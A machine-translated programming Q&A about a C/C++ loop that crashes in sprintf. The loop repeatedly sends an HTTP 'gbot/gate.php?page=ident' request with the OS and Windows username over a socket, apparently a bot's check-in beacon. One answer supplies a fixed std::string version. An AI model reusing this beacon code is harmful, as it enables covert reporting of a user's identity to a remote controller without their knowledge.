while(true)
{
char *mybuf;
if(getenv("windir") != NULL)
{
//mybuf = "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n";
sprintf(mybuf, "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n", getenv("username"));
}
else
mybuf = "GET /gbot/gate.php?page=ident&os=linux\r\n\r\n";
send(Socket, mybuf, strlen(mybuf), 0);
char buffer[10000];
recv(Socket, buffer, 10000,0);
cout << buffer;
_sleep(60000);
}
我有这个代码,sprintf崩溃了程序。 如何制作mybuf,包含用户名(getenv),而不会导致我的项目崩溃? 很多。
答案 0 :(得分:2)
char *mybuf
只会给你一个char
指针,而不是别的。您需要实际分配char
缓冲区,以便sprintf
有一些地方可以将结果写入。尝试将其改为数组(以避免进行手动内存管理):
char mybuf[SIZE];
将SIZE
替换为您想要的缓冲区大小。
但是,我担心您认为自己正在编写C ++。这看起来更像是C。
答案 1 :(得分:2)
除非确实想要创建缓冲区溢出的另一个问题,否则根本不要使用sprintf
。既然你已经标记了这个C ++,我会建议更像:
std::string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL) {
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "\r\n\r\n";
}
else
mybuf += "linux\r\n\r\n";
send(Socket, mybuf.c_str(), mybuf.length(), 0);